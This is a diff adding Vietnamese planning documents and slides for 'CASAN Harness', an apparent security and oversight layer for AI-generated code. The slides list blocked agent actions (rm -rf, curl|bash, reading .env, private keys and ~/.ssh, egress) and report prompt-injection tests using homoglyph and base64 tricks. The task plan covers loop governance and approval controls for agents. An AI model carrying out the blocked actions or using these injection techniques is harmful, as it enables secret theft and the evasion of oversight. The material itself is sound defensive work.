  • hash-chain + ký RSA HEAD
    • +
  • sửa 1 ký tự → AUDIT_HASH_MISMATCH
    • +
  • telemetry token/cost cũng được ký (bất biến)
    • +
  • secrets-scan · quét no-bypass
+
+

ĐO THẬT tamper audit → AUDIT_HASH_MISMATCH · sửa 1 token telemetry → TELEMETRY_INTEGRITY_MISMATCH.

+
+ + +
+
Trục 1 · 🟢 H6 AgentOps
+

Từ mù chi phí → giám sát & chặn spike

+
+
BEFORE
    +
  • không đo chi phí
    • +
  • không telemetry token
    • +
  • không phát hiện bất thường
+
→
+
AFTER
    +
  • cost-spike 3× → exit=2
    • +
  • + trần tuyệt đối/call + ngân sách tích luỹ
    • +
  • bắt cả slow-boil + spray + cold-start
    • +
  • telemetry token thật · drift · circuit-breaker
+
+

ĐO THẬT spike/slow-boil/spray → exit=2 · bình thường → exit=0 — không né được bằng median.

+
+ + +
+
Bằng chứng tổng hợp ĐO THẬT
+

Kiểm chứng ngay trên máy — 140 checks, 0 fail

+
+
$ run-casan4-harness-tests.sh → 35/35 PASS
+
$ adversarial-harness-tests.sh → 44/44 PASS
+
$ phase1-track-a-tests.sh → 25/25 PASS (hardening)
+
$ phase2-track-c-tests.sh → 29/29 PASS (C-MVP)
+
$ phase3-evidence-pack-tests.sh → 7/7 PASS
+
$ homoglyph/base64 inject → BLOCKED rc=2 · tamper token → TELEMETRY_MISMATCH
+
+

Baseline 79 giữ nguyên · +61 hardening = 140. 👉 Chiếu terminal thật khi trình bày.

+
+ + +
+
Trục 3 · Track A ĐÃ LÀM + TEST
+

Hardening H4·H5·H6 — đánh bại thứ regex cũ bỏ sót

+
+

🔴 H4+

Homoglyph · zero-width · fullwidth · base64 đều chặn (rc=2). Strict fail-closed: model chết → BLOCK, không SKIP âm thầm. Quét cả tool-output.

+

🔵 H5+

Telemetry token/cost vào manifest ký số — sửa 1 byte → MISMATCH. Bất biến như audit chain.

+

🟢 H6+

Trần tuyệt đối/call + ngân sách tích luỹ — bắt slow-boil & spray & cold-start, ngoài spike 3×median.

+
+

ĐO THẬT Benign corpus 95 mẫu EN/VI/JA → FP = 0% · adversarial block 100% · CRITICAL 100% — siết chặt mà không bắt nhầm.

+
+ + +
+
Plan-09 · Evidence Pack MVP ĐÃ LÀM
+

"Vì sao tin output này?" → gói bằng chứng ký số

+
+
$ casan pack <run> → EVIDENCE_PACK_CREATED (12 file: h1..h7 + redteam + cost + manifest + decision-log)
+
$ casan verify-pack <run> → EVIDENCE_PACK_VALID anchor=signed
+
$ # sửa 1 byte trong pack…
+
$ casan verify-pack <run> → EVIDENCE_PACK_TAMPERED · exit=1
+
$ certified = chỉ true khi ĐỦ cổng (audit✓ telemetry✓ cost✓ FP✓), thiếu → ghi lý do, KHÔNG chứng nhận khống
+
+

Đổi 1 byte → chứng nhận vô hiệu. Manifest hash + chữ ký RSA trên head → tamper-evident thật.

+
+ + +
+
Trục 2 · Hiểu sâu · nhận diện → VÁ
+

Nhận diện đường lọt — và Track A đã đóng

+
+

🔴 H4

ĐÃ VÁ Semantic SKIP → strict fail-closed · homoglyph/encoding → chặn. CÒN đa ngôn ngữ, inject-classifier (Track B).

+

🔵 H5

ĐÃ VÁ Telemetry vào chuỗi ký. CÒN quản lý khóa HSM, TOCTOU (Track B).

+

🟢 H6

ĐÃ VÁ Slow-boil + dưới-ngưỡng + cold-start → trần tuyệt đối/tích luỹ. CÒN circuit theo tỷ lệ (Track B).

+
+

Chuẩn: OWASP LLM/Agentic · CSA MAESTRO · MITRE ATLAS. Nguyên tắc: "harness thấp nhất quyết định trần". Mỗi vá kèm test đối kháng fail-able.

+
+ + +
+
Triết lý model · local-first
+

"Model sinh bản nháp; harness quyết định bản nháp có được tin hay không."

+
    +
  • Local (Ollama) đủ cho harness — không API key, offline, dữ liệu không rời máy (Sovereign AI).
    • +
  • Đổi model không đổi mức an toàn — harness giữ đảm bảo, bất kể model.
    • +
  • H6 cost-spike chặn đốt token → điểm cộng là kiểm soát chi phí, không phải "model xịn nhất".
    • +
+
+ + +
+
Trục 3 · Hướng production · sau Track A + C-MVP
+

Thang sẵn sàng: ~3.8–4.0/5 (production nội bộ)

+
+
Phủ phát hiện
4
+
Fail-safe
4.5
+
Chống giả mạo
4
+
Kiểm soát chi phí
4
+
Tool-authz / supply-chain
3.5
+
Đa domain / i18n
2
+
+

TRUNG THỰC Track A + C-MVP + Evidence Pack đã làm → ~3.8–4.0. Track B + C-Governance/Ops + sandbox cô lập thật → production nghiêm túc (roadmap sau thi).

+
+ + +
+
Trục 3 · Track C-MVP ĐÃ LÀM + TEST (29/29)
+

Kiểm soát ngoài H4·H5·H6 — đã dựng minimum bar

+

Trả đòn phản biện "agent vẫn có thể thêm dependency độc / ghi .env?" — nay đã có gate thật, chạy được, có test.

+
+

🔐 Tool authorization

Gate cả hành động: .env/private-key/CI-config → BLOCK · rm -rf/curl|bash → BLOCK · egress → duyệt.

+

📦 Supply-chain

typosquat + postinstall + gói độc → BLOCK · dep mới → duyệt · dep-diff report.

+

🕵️ Data exfiltration

secret→cloud/artifact BLOCK · PII→audit MASK.

+

🧪 Runtime sandbox scaffold

Chặn đọc ~/.ssh · net egress · fork-bomb · ghi ngoài workspace + ulimit. Chưa cô lập kernel.

+
+

Outcome chuẩn hoá thật: ALLOW · WARN · REQUIRE_APPROVAL · BLOCK. Approval cần người duyệt định danh (audit).

+
+ + +
+
Trục 3 · Track C · Governance & Ops
+

Quản trị & vận hành mức enterprise

+
+

📝 Policy approval roadmap

Versioning + reviewer bắt buộc · audit actor · rollback policy.

+

🗄️ External audit roadmap

Append-only (WORM) ngoài runtime · alert khi chain đứt.

+

🚨 Incident response roadmap

Severity CRIT→MED · owner · kill-switch theo project/model.

+

✓ Benign / FP ĐÃ LÀM

95 mẫu EN/VI/JA · FP = 0% · block 100% · CRITICAL 100%.

+
+

CÒN LẠI (sau thi) Policy-approval · WORM audit · incident kill-switch — enterprise governance/ops, đã có lộ trình task-level.

+
+ + +
+
Trục 3 · Đóng gói & tái sử dụng
+

Giá trị ở harness tái dùng, không ở app OKR

+
    +
  • Đóng gói package có version — fpt-casan-sdd-harness.
    • +
  • Registry + verify-harness-reuse → nhiều dự án dùng chung.
    • +
  • Áp dự án mới = cắm golden/corpus/input + đăng ký, không sửa gate.
    • +
  • App OKR chỉ là testbed cố định để so sánh công bằng.
    • +
+
+ + +
+
Lộ trình · kế hoạch task-level
+

Tư duy sản phẩm, không chỉ demo

+
+

01

Tái cấu trúc thư mục

+

02

Nối LLM sinh source

+

03

Patch cloud (bỏ stub)

+

04

Khép vòng tự cải tiến

+

05

CI/CD + phát hành

+

06

Onboard dự án 2

+

07 ✅

Hardening Track A + C-MVP (đã làm)

+

09 ✅

Evidence Pack MVP (đã làm)

+
+

ĐÃ LÀM 07 Track A + C-MVP · 09 Evidence Pack — có test (140 checks). SAU THI 07 Track B + C-Gov/Ops · 08 · 10 · 12.

+
+ + +
+
Chốt
+

Không phải AI xịn nhất —
mà AI có kiểm soát, có bằng chứng, tái dùng được.

+
    +
  • H4·H5·H6 cải thiện có before/after + exit-code đo thật.
    • +
  • Hiểu hệ thống tới gốc lỗi + threat-model đường lọt.
    • +
  • Hướng production: đóng gói package + lộ trình hardening có test.
    • +
+
+ +
+ +
+
FPT · CASAN Harness
+
+
1 / 16
+
+
← → / Space chuyển slide · F toàn màn hình
+ + + + diff --git a/docs/plans/CASAN_TEAM_ALLOCATION_3DEV.md b/docs/plans/CASAN_TEAM_ALLOCATION_3DEV.md new file mode 100644 index 0000000..df71d30 --- /dev/null +++ b/docs/plans/CASAN_TEAM_ALLOCATION_3DEV.md @@ -0,0 +1,220 @@ +# CASAN — Phân công team 3 người (Task Allocation & Dependency Map) + +> Cập nhật: 2026-07-07. File này **chia toàn bộ việc còn lại** (từ `CASAN_BACKLOG_STATUS.md` +> + các plan) cho **3 dev**, với **task nhỏ có ID**, **mức liên quan (dependency)** giữa +> các task, và **link tới từng plan**. Đây là file điều phối — "còn gì phải làm" vẫn lấy +> chuẩn từ [`CASAN_BACKLOG_STATUS.md`](CASAN_BACKLOG_STATUS.md); mục lục plan ở +> [`CASAN_PLAN_00_INDEX.md`](CASAN_PLAN_00_INDEX.md). + +## Cách đọc & quy ước + +- **Người:** **A** = Harness Guardian (core harness/security/CI/eval) · **B** = Loop & Chat + (Plan-17 + Plan-18 + nén) · **C** = Platform & Control Plane (13/14/15/01/06/12 + infra). +- **Effort:** `S` ≤1 ngày · `M` 2–4 ngày · `L` ≥1 tuần. +- **Cờ:** 🟦 làm offline được ngay · 🔌 cần key/dịch vụ ngoài · 🔗 phụ thuộc người khác. +- **Dep:** task phải xong trước (ID ở cột này). "—" = không chặn, làm song song được. +- **Bất biến (mọi người):** giữ **218/0 core + 118/0 SEC** ([`CASAN_HARDENING_STATUS.md`](CASAN_HARDENING_STATUS.md)); + mỗi control mới có **test đối kháng fail-able**, verify **WSL**, nối + [`ci-harness-gate.sh`](../AINative_OKR_CASAN5/.specify/scripts/bash/ci-harness-gate.sh); + **không** sửa app OKR; không hardcode verdict; không bypass. + +--- + +## 1. Chia vai (mission + plan sở hữu) + +| Dev | Mission | Plan sở hữu chính | +|---|---|---| +| **A — Harness Guardian** | Giữ & siết core harness; đóng nợ security; biến CI thành bộ gác | [16](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) · [10](CASAN_PLAN_10_TRACEABILITY_EVAL.md) · [05](CASAN_PLAN_05_CICD.md) · [03](CASAN_PLAN_03_CLOUD_PATCH.md)/[02](CASAN_PLAN_02_LLM_SOURCEGEN.md) (phần verify) · [07](CASAN_PLAN_07_PRODUCTION_HARDENING.md) (KMS/WORM/tamper) | +| **B — Loop & Chat** | Xây Agentic Loop Governance + Governed Chat Console MVP | [17](CASAN_PLAN_17_LOOP_ENGINEERING.md) · [18](CASAN_PLAN_18_CHAT_CONSOLE.md) · [08](CASAN_PLAN_08_CONTEXT_COMPRESSION.md) | +| **C — Platform & Control Plane** | Console vận hành + multi-project reuse + infra | [13](CASAN_PLAN_13_CONTROL_PLANE.md) · [14](CASAN_PLAN_14_RBAC.md) · [15](CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md) · [01](CASAN_PLAN_01_RESTRUCTURE.md) · [06](CASAN_PLAN_06_ONBOARD.md) · [12](CASAN_PLAN_12_DOMAIN_PACK.md) · [07](CASAN_PLAN_07_PRODUCTION_HARDENING.md) TIER-2 | + +> Ưu tiên tổng thể theo [`CASAN_PLAN_00_INDEX.md`](CASAN_PLAN_00_INDEX.md): **core harness là P1** +> (A giữ), TIER-2 infra là đòn bẩy điểm (C), loop/chat là hướng mới (B) nhưng **đứng sau** core. + +--- + +## 2. Dev A — Harness Guardian (core/security/CI/eval) + +| ID | Task nhỏ | Plan | Effort | Cờ | Dep | +|---|---|---|:--:|:--:|---| +| A1 | ✅ **done** — **SEC-26** stored-injection: quét `golden-runs`/`redteam-corpus`/`traceability-map`/requirement bằng H4 khi nạp prompt (`stored-content-scan.sh` + `phase-sec26` 5/0, nối CI) | [16 §2c X-01](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) | M | 🟦 | — | +| A2 | ✅ **done** — **SEC-22**: trusted-time cho JWT `exp` (ARCH-06) + tag proposal nguồn-không-tin (ARCH-08, self-improve untrusted→BLOCK ở prod/strict). `approval-verify.sh` + `self-improve.py` + `phase-sec22` 9/0, nối CI. Còn ARCH-10 (attestation ngoài) = track ngoài như TIER-2 | [16 §2c ARCH-06/08](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) | M | 🟦 | — | +| A3 | � **offline done** — **SEC-23** multi-tenant (MT-01..04), **6 phase / 14 bước** ([16 §2d](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md)). **Phase 1–5 offline ✅** (tenant-store+guard · per-tenant CP/audit/telemetry · RBAC data-boundary+harness · tenant kill-switch+quota · ký registry · crypt at-rest per-tenant; 5 suite `phase-sec23-*` = 36/0, nối CI). **Chỉ còn 23.11** (crypt qua Vault Transit 🔌) | [16 §2d MT-01..04](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) | L | ✅ offline (23.11 🔌) | — | +| A4 | 🟡 **partial (offline)** — **SEC-24**: image digest-pin lint + ký/verify CI workflow (`supply-chain-integrity.sh` + `phase-sec24` 8/0, nối CI). Còn live CVE/OSV scan + image scan thật (🔌 infra) | [16 §2c SC-04/05/06](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) | M | 🟦 offline (🔌 live) | — | +| A5 | 🟡 **partial (offline)** — **SEC-25**: build-artifact attestation tested==deployed (`artifact-attest.sh` + `phase-sec25` 5/0, nối CI). Còn signed-commit enrollment + SLSA chain (🔌 CI/key) | [16 §2c SC-07](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) | M | 🟦 offline (🔌 live) | — | +| A6 | **Plan-10 H3 eval-set độc lập** (nhiều model) + enrich symbol/line refs FR-02→FR-05 | [10](CASAN_PLAN_10_TRACEABILITY_EVAL.md) | M | 🟦 | — | +| A7 | **KMS-anchor mặc định** (Vault Transit) cho mọi head + assert non-exportable; bỏ fallback khoá local ở prod | [07 B3](CASAN_PLAN_07_PRODUCTION_HARDENING.md) · [16 SEC-02](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) | M | 🔌 (Vault) | — | +| A8 | **WORM thật** S3 Object Lock/QLDB + trusted timestamp thay ledger local | [07 C5](CASAN_PLAN_07_PRODUCTION_HARDENING.md) | M | 🔌 (AWS) | — | +| A9 | **Plan-05 CI xanh trên runner thật** + bật Docker infra-lab + xử lý A6 chậm/treo | [05](CASAN_PLAN_05_CICD.md) | L | 🔌 (runner) | — | +| A10 | **Release package** `fpt-casan-sdd-harness` (đóng gói + version) | [05](CASAN_PLAN_05_CICD.md) | M | 🟦 | A9 | +| A11 | **Nối mọi suite mới của B/C vào CI** + giữ tổng test không tụt (gác ARCH-02 test-integrity) | [05](CASAN_PLAN_05_CICD.md) · [16 SEC-18](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md) | S | 🔗 | B*, C* | + +**A cung cấp cho B/C (interface):** tamper-evidence + audit-chain (`loop-trace` dùng lại), +approval JWT thật ([16 SEC-07](CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md)), SEC-23 tenant-partition (Chat MVP-3, Control Plane multi-tenant). + +--- + +## 3. Dev B — Loop & Chat (Plan-17 + Plan-18 + nén) + +### 3.1 Loop Engineering ([Plan-17](CASAN_PLAN_17_LOOP_ENGINEERING.md)) +| ID | Task nhỏ | Plan | Effort | Cờ | Dep | +|---|---|---|:--:|:--:|---| +| B1 | ✅ **done** — **Loop Budget Governor** `loop-governor.py` + `loop-policy.yaml`/`.schema.json` + `loop_common.py` (deny-by-default, fail-closed; no/corrupt policy → strict ceiling/HALT; on_exceed halt/escalate; HALT audited hash-linked). `phase-loop-governor` 15/0, nối CI | [17 T1 (17.1–17.4)](CASAN_PLAN_17_LOOP_ENGINEERING.md) | M | 🟦 | — | +| B2 | ✅ **done** — **Convergence detector** `loop-convergence.py` (repeat/thrash → OSCILLATING; flat-progress window → STALLED; on_stall halt/escalate; corrupt stream fail-closed; verdict audited). `phase-loop-convergence` 15/0, nối CI | [17 T2 (17.5–17.8)](CASAN_PLAN_17_LOOP_ENGINEERING.md) | M | 🟦 | — | +| B3 | ✅ **done** — **Per-iteration Verify Contract** `loop-gate.py` (bọc H4 security-check + H3 success-criteria; injection → DENY; unmet → FAIL; correction bounded by `max_corrections_per_step` → ESCALATE; no self-declared DONE; artifact/gate error fail-closed). `phase-loop-gate` 20/0, nối CI | [17 T3 (17.9–17.12)](CASAN_PLAN_17_LOOP_ENGINEERING.md) | M | 🟦 | — | +| B4 | 🟡 **offline done** — **Loop Trace/Replay** `loop-trace.py` (append-only hash-linked per-run trace · `record`/`show`/`replay`/`verify-chain`; edited record → chain BREAK · tampered artifact → replay DRIFT · corrupt trace fail-closed). `phase-loop-trace` 16/0, nối CI. **Còn 17.16 KMS-anchor head** (🔌 Vault, dep A7) | [17 T4 (17.13–17.16)](CASAN_PLAN_17_LOOP_ENGINEERING.md) | M | 🟦 offline (KMS 🔌) | A7 (chỉ KMS-anchor) | +| B5 | ✅ **done (offline)** — **Meta-loop** `loop-metaloop.py` (propose≠apply dry-run; **SoD** proposer≠approver; loosen>`org_ceiling` refused 17.19; apply qua governed CP store → versioned+audit+rollback + **đổi thật ceiling governor**). `phase-loop-metaloop` 15/0, nối CI | [17 T5 (17.17–17.19)](CASAN_PLAN_17_LOOP_ENGINEERING.md) · [04](CASAN_PLAN_04_SELFIMPROVE.md) | M | 🟦 (SEC-07 ✅) | B1, A(SEC-07) ✅ | +| B6 | 🟡 **offline done** — **Orchestrator** `loop-run.sh` (mỗi turn: gate→governor→convergence→trace; DONE/HALT/ESCALATE; secure-by-default prod opt-out bị từ chối nếu thiếu lý do; nén giữa vòng qua `context-compress.py` 17.21). `phase-loop-run` 16/0, nối CI. **Còn widget Command Center (17.22 = B12, dep C5)** | [17 T6 (17.20–17.21)](CASAN_PLAN_17_LOOP_ENGINEERING.md) | M | 🟦 | B1,B2,B3,B7 (B7 opt) | + +### 3.2 Context compression ([Plan-08](CASAN_PLAN_08_CONTEXT_COMPRESSION.md)) +| ID | Task nhỏ | Plan | Effort | Cờ | Dep | +|---|---|---|:--:|:--:|---| +| B7 | Track 1 nén INPUT + Track 2 nén VIEW liên-bước + nối H4/H5 pipeline | [08](CASAN_PLAN_08_CONTEXT_COMPRESSION.md) | M | 🟦 | — | +| B8 | Track 4 abstractive (gated) | [08](CASAN_PLAN_08_CONTEXT_COMPRESSION.md) | M | 🟦 | B7 | + +### 3.3 Chat Console ([Plan-18](CASAN_PLAN_18_CHAT_CONSOLE.md)) — theo lát cắt MVP +| ID | Task nhỏ | Plan | Effort | Cờ | Dep | +|---|---|---|:--:|:--:|---| +| B9 | **MVP-0** Prompt Router (Track 0) + Read-only Ask CASAN (Track 1) + session/audit (Track 2) + model-provider tối thiểu (Track M) | [18 §1b, Track 0/1/2/M](CASAN_PLAN_18_CHAT_CONSOLE.md) | L | 🟦 | — | +| B10 | **MVP-1** Operator mode registered actions (Track 3, qua `action-gate`) | [18 Track 3](CASAN_PLAN_18_CHAT_CONSOLE.md) | M | 🔗 | B9 | +| B11 | **MVP-2** Chat-as-loop (Track 5) + Agent/Skill selection (Track 4) + streaming draft-hold (Track 6) | [18 Track 4/5/6](CASAN_PLAN_18_CHAT_CONSOLE.md) | L | 🔗 | B6, C7(RBAC), B10 | +| B12 | **Widget Loop/Chat** trên Command Center (loop ticker/budget/replay drawer) | [17 (17.22)](CASAN_PLAN_17_LOOP_ENGINEERING.md) · [18 Track 8](CASAN_PLAN_18_CHAT_CONSOLE.md) | M | 🔗 | C5(Command Center) | +| B13 | **MVP-3** multi-tenant chat hardening (Track 9) | [18 Track 9](CASAN_PLAN_18_CHAT_CONSOLE.md) | M | 🔗 | A3(SEC-23) | + +--- + +## 4. Dev C — Platform & Control Plane + +### 4.1 Control Plane web app ([Plan-13](CASAN_PLAN_13_CONTROL_PLANE.md)) +| ID | Task nhỏ | Plan | Effort | Cờ | Dep | +|---|---|---|:--:|:--:|---| +| C1 | **Track 1 read-only monitoring API (NestJS)** đọc telemetry/audit/traceability | [13 §4 Track 1 (13.1–13.3)](CASAN_PLAN_13_CONTROL_PLANE.md) | M | 🟦 | — | +| C2 | **Ops Console (React)** verdicts/cost/drift/incident + stale-aware | [13 §4 Track 1](CASAN_PLAN_13_CONTROL_PLANE.md) | M | 🟦 | C1 | +| C3 | **Track 2 settings store versioned + H5 audit + rollback** (13.4–13.6) | [13 §4 Track 2](CASAN_PLAN_13_CONTROL_PLANE.md) | M | 🔗 | A7(KMS) | +| C4 | **HITL surface**: approvals inbox + delegation L0–L5 + oversight log (13H.1–13H.3) | [13 §3.4](CASAN_PLAN_13_CONTROL_PLANE.md) | L | 🔗 | C7, A(SEC-07) | +| C5 | **Command Center §8.6** data-contract envelope (provenance) — nền cho widget của B | [13 §8.6](CASAN_PLAN_13_CONTROL_PLANE.md) | M | 🟦 | C1 | + +### 4.2 RBAC + RAI ([Plan-14](CASAN_PLAN_14_RBAC.md) / [Plan-15](CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md)) +| ID | Task nhỏ | Plan | Effort | Cờ | Dep | +|---|---|---|:--:|:--:|---| +| C6 | **IdP claim → role mapping** (07-C4) + enforcement trong web app | [14](CASAN_PLAN_14_RBAC.md) · [07 C4](CASAN_PLAN_07_PRODUCTION_HARDENING.md) | M | 🔌 (IdP) | — | +| C7 | **RBAC enforcement API** (expose `rbac-check.py` cho B/chat) + audit quyết định vào H5 | [14](CASAN_PLAN_14_RBAC.md) | M | 🟦 | — | +| C8 | **RAI view** trên Control Plane (retention/model-card/PII report) | [15](CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md) | M | 🔗 | C2 | + +### 4.3 Nền tảng & reuse ([Plan-01](CASAN_PLAN_01_RESTRUCTURE.md)/[06](CASAN_PLAN_06_ONBOARD.md)/[12](CASAN_PLAN_12_DOMAIN_PACK.md)) + infra ([Plan-07 TIER-2](CASAN_PLAN_07_PRODUCTION_HARDENING.md)) +| ID | Task nhỏ | Plan | Effort | Cờ | Dep | +|---|---|---|:--:|:--:|---| +| C9 | **Plan-01 restructure** Phase 0→6 (nhánh riêng, giữ 218/0) → `packages/casan-harness` | [01](CASAN_PLAN_01_RESTRUCTURE.md) | L | 🟦🔗 | (freeze window) | +| C10 | **Plan-06 onboard dự án 2** qua `verify-harness-reuse.sh` (không sửa gate) | [06](CASAN_PLAN_06_ONBOARD.md) | M | 🔗 | C9 | +| C11 | **Plan-12 Domain Pack SDK** (golden/corpus/policy theo domain khai báo) | [12](CASAN_PLAN_12_DOMAIN_PACK.md) | L | 🔗 | C9, C10 | +| C12 | **TIER-2 infra**: dashboard TLS/OIDC + alert managed (Slack/PagerDuty) + billing API thật | [07 T2.3/2.4/2.5](CASAN_PLAN_07_PRODUCTION_HARDENING.md) | M | 🔌 | C2 | + +--- + +## 5. Bản đồ phụ thuộc chéo (ai chặn ai) + +```mermaid +flowchart LR + subgraph A[Dev A — Harness/Security] + A3[SEC-23 tenant]:::a + A7[KMS anchor]:::a + A9[CI xanh runner]:::a + SEC07[approval JWT SEC-07]:::a + end + subgraph B[Dev B — Loop/Chat] + B1[Governor]:::b + B3[Verify contract]:::b + B4[Loop trace]:::b + B6[Orchestrator]:::b + B9[Chat MVP-0]:::b + B11[Chat MVP-2]:::b + B12[Loop/Chat widget]:::b + B13[Chat MVP-3]:::b + end + subgraph C[Dev C — Platform] + C3[Settings store]:::c + C5[Command Center §8.6]:::c + C7[RBAC API]:::c + C9[Restructure]:::c + end + + A7 --> B4 + SEC07 --> B5[Meta-loop]:::b + B1 --> B6 + B3 --> B6 + B4 --> B6 + B6 --> B11 + C7 --> B11 + C5 --> B12 + A3 --> B13 + A7 --> C3 + SEC07 --> C4[Approvals inbox]:::c + C7 --> C4 + A9 --> Release[A10 release pkg]:::a + C9 --> Onboard[C10 onboard]:::c + C9 --> Domain[C11 domain pack]:::c + classDef a fill:#d0e8ff,stroke:#2c3e91; + classDef b fill:#e8f8d0,stroke:#3e7a1e; + classDef c fill:#ffe8d0,stroke:#8a5a1e; +``` + +**Đọc nhanh:** B phụ thuộc A nhiều nhất ở **KMS (A7→B4)**, **approval (SEC-07→B5)** và +**tenant (A3→B13)**; B phụ thuộc C ở **RBAC (C7→B11)** và **Command Center (C5→B12)**; +C phụ thuộc A ở **KMS (A7→C3)** và **approval (SEC-07→C4)**. + +--- + +## 6. Điểm đồng bộ (sync points — họp chốt interface, tránh va nhau) + +| # | Chủ đề | Ai | Chốt gì | +|---|---|---|---| +| S1 | **Config namespace** `.specify/config/*` | A/B/C | `loop-policy.yaml` (B) · `agent-registry.yaml`/`prompt-modes.yaml`/`model-providers.yaml` (B) · settings store (C) · không trùng key/khoá | +| S2 | **Audit-chain / tamper-evidence** | A→B,C | A định dạng head + verify-chain; B dùng cho `loop-trace`; C dùng cho control-plane audit — **một serializer, một verifier** | +| S3 | **Approval contract (JWT+SoD)** | A→B,C | 1 đường `approval-verify.sh`; B (meta-loop) + C (settings/approvals inbox) gọi lại, không tự chế | +| S4 | **RBAC contract** | C→A,B | `rbac-check.py` là nguồn; B (chat chọn agent) gọi; A đảm bảo trong CI | +| S5 | **Command Center data-contract §8.6** | C→B | envelope `{source,artifact_path,commit,run_at,verified}` — widget Loop/Chat của B tuân theo | +| S6 | **Restructure freeze** (Plan-01) | C→A,B | C9 chạy trên nhánh riêng; A/B **đóng băng path** trong cửa sổ merge để giữ 218/0 | + +--- + +## 7. Thứ tự sóng (waves — song song hoá tối đa) + +> Mỗi sóng ~2–3 tuần; kết thúc sóng phải **xanh CI** trước khi mở sóng sau. + +| Sóng | Dev A | Dev B | Dev C | +|---|---|---|---| +| **Wave 1** (offline, không cần infra) | A1 SEC-26 · A2 SEC-22 · A3 SEC-23 · A6 H3 eval | B1 Governor · B2 Convergence · B3 Verify · B7 nén T1/T2 | C1 monitoring API · C2 console · C5 Command Center · C7 RBAC API | +| **Wave 2** | A7 KMS · A9 CI runner · A11 nối suite mới | B4 Loop-trace · B6 Orchestrator · B9 **Chat MVP-0** · B8 nén T4 | C3 settings store · C6 IdP→role · C4 approvals inbox · C9 restructure | +| **Wave 3** | A4 SEC-24 · A5 SEC-25 · A8 WORM · A10 release | B5 Meta-loop · B10 **MVP-1** · B11 **MVP-2** · B12 widget · B13 MVP-3 | C8 RAI view · C10 onboard · C11 domain pack · C12 TIER-2 infra | + +**Song song trong Wave 1:** A/B/C độc lập hoàn toàn (không dep chéo) ⇒ khởi động nhanh nhất. +**Nút cổ chai Wave 2:** A7 (KMS) mở khoá B4 + C3; C7 (RBAC) + C5 (Command Center) chuẩn bị cho B ở Wave 3. +**Wave 3 hội tụ:** B11 cần B6+C7; B12 cần C5; B13 cần A3 → giữ đúng thứ tự. + +--- + +## 8. Mốc hoàn thành theo sóng (Definition of Done) + +- **W1 done:** core harness vẫn 218/0 + 118/0 SEC; +SEC-22/23/26 xanh; Loop T1–T3 xanh WSL; Control Plane read-only chạy + Command Center có data-contract. +- **W2 done:** KMS-anchor mặc định + CI xanh trên runner thật; Loop-trace/replay + Orchestrator; **Chat MVP-0 (Ask CASAN read-only) demo được**; settings store + approvals inbox + restructure merge (giữ 218/0). +- **W3 done:** SEC-24/25 + WORM + release package; Meta-loop; **Chat MVP-1/2** (operator + chat-as-loop) + widget; RAI view + onboard dự án 2 + domain pack + TIER-2 infra (nơi có key). + +--- + +## 9. Rủi ro & ghi chú bàn giao + +- **Chống lan man:** B bám **lát cắt MVP** của [Plan-18 §1b](CASAN_PLAN_18_CHAT_CONSOLE.md) — MVP-0 làm được ngay, + **không** nhảy vào chat-as-loop/tenant trước khi Loop core (B6) + RBAC (C7) + SEC-23 (A3) sẵn sàng. +- **Đơn người-điểm:** A là **nguồn đơn** cho tamper-evidence/approval/tenant → nếu A chậm, + B4/B5/B13 + C3/C4 chậm theo. Ưu tiên A7 (KMS) + SEC-07 sớm trong Wave 1–2. +- **Restructure (C9) rủi ro cao:** đụng nhiều path → nhánh riêng + freeze window (S6) + + chạy full `ci-harness-gate.sh` trước khi merge. +- **Cần key/infra (🔌):** A4/A5/A7/A8/A9, C6/C12, [Plan-03 live smoke](CASAN_PLAN_03_CLOUD_PATCH.md) — gom vào Wave 2–3, + không chặn Wave 1. Nếu chưa có key: giữ Docker local-prod lab ([`infra-lab.sh`](../AINative_OKR_CASAN5/.specify/scripts/bash/infra-lab.sh)) làm bằng chứng. +- **Bất biến bàn giao:** mỗi task đóng lại phải kèm test đối kháng fail-able + cập nhật + [`CASAN_HARDENING_STATUS.md`](CASAN_HARDENING_STATUS.md) (tổng test) + [`CASAN_BACKLOG_STATUS.md`](CASAN_BACKLOG_STATUS.md) (trạng thái). + +--- +_Liên quan: [`CASAN_PLAN_00_INDEX.md`](CASAN_PLAN_00_INDEX.md) (mục lục + ưu tiên) · +[`CASAN_BACKLOG_STATUS.md`](CASAN_BACKLOG_STATUS.md) (nguồn "còn gì phải làm") · +[`CASAN_HARDENING_STATUS.md`](CASAN_HARDENING_STATUS.md) (control đã có + tổng test)._ diff --git a/docs/plans/CASAN_TEAM_QA.md b/docs/plans/CASAN_TEAM_QA.md new file mode 100644 index 0000000..f05e96d --- /dev/null +++ b/docs/plans/CASAN_TEAM_QA.md @@ -0,0 +1,277 @@ +# CASAN — Bộ Q&A cho Team (hiểu sâu hệ thống + before/after tối ưu) + +> ✅ **Bản CANONICAL** của Q&A hệ thống (được cập nhật). Có một bản sao ngắn hơn/cũ hơn +> ở `optimize-docs/CASAN_TEAM_QA.md` phục vụ ngữ cảnh trình bày — khi lệch, ưu tiên bản này. + +> **Mục đích:** đảm bảo mọi thành viên hiểu sâu hệ thống, biết rõ **trước/sau tối ưu đổi gì và VÌ SAO**, trả lời được từ cơ bản đến nâng cao trước giám khảo/khách hàng. +> **Nguyên tắc:** mọi con số gắn nhãn **[đo thật]** (đã chạy, thấy exit code) hoặc **[dự án tự báo / chưa đo]**. Đúng tinh thần CASAN: *"điểm = thứ chứng minh được, không bịa"*. +> **Trọng tâm tối ưu lần này:** **H4 Security · H5 Governance · H6 AgentOps** (đều từng là GAP: 20 / 25 / 30). + +--- + +## PHẦN A — CƠ BẢN: hệ thống là gì + +**A1. Dự án này thực chất là cái gì?** +Hai tầng: (1) **sản phẩm** là app OKR (NestJS + React + Prisma); (2) **thứ thật sự được chấm** là **AI-SDLC pipeline** — quy trình để AI tự sinh phần mềm, bao quanh bởi **CASAN Harness** (7 lớp điều 